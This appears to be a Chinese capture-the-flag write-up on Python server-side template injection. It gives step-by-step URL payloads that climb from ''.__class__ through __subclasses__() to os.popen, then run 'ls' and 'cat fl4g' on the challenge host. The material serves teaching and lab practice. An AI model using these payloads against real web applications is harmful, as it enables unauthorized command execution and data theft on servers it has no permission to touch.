{{}}是变量包裹标识符,里面存放的是一个变量,当你输入
http://61.147.171.105:55121/{{8*8}}
执行成功,说明存在模版注入。接下来,开始想办法编代码拿到服务器的控制台权限 。
首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思考怎样用 python 语句获取控制台权限:
知识点
python调用Shell脚本,有两种方法:os.system() 和 os.popen()
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容,以 file 形式返回。
所以选择 `os.popen` 。
http://61.147.171.105:55121/{{''.__class__}}
知识点
__class__:获取到当前实例对应的类
python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新式类实例,比如 '' ,一个空字符串,就是一个新式类实例,所以 ''.__class__ 就可以获取到实例对应的类.
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>
告诉我们这个变量的类是 'str' 。
接下来,从这个类找到它的基类:
http://61.147.171.105:55121/{{''.__class__.__mro__}}
知识点
__mro__:获取当前类对象的所有继承类(子类)
从结果中可以发现 '' 对应的类对象 str 继承的顺序是 basestring->object。
然后,通过基类来找其中任意一个基类的引用列表:
http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()}}
知识点
__subclasses__():查看当前类的子类
`__mro__[ ]` 中括号里填谁其实区别都不大,这些基类引用的东西都一样的。
找到我们想要的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位, 即 `__subclasses__()[71]` 。
http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
这里的 `popen('ls').read()` 意思是得到 ls 的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上 .
联系题目,明显的是后端有一个flag文件需要open,然后print出来,或者使用命令行cat 查看。
从这里我们看到,flag 存在一个叫 `fl4g` 的无后缀文件里,再构造一个 payload,用 `cat` 读取内容:
http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
SSTI模板注入总结-CSDN博客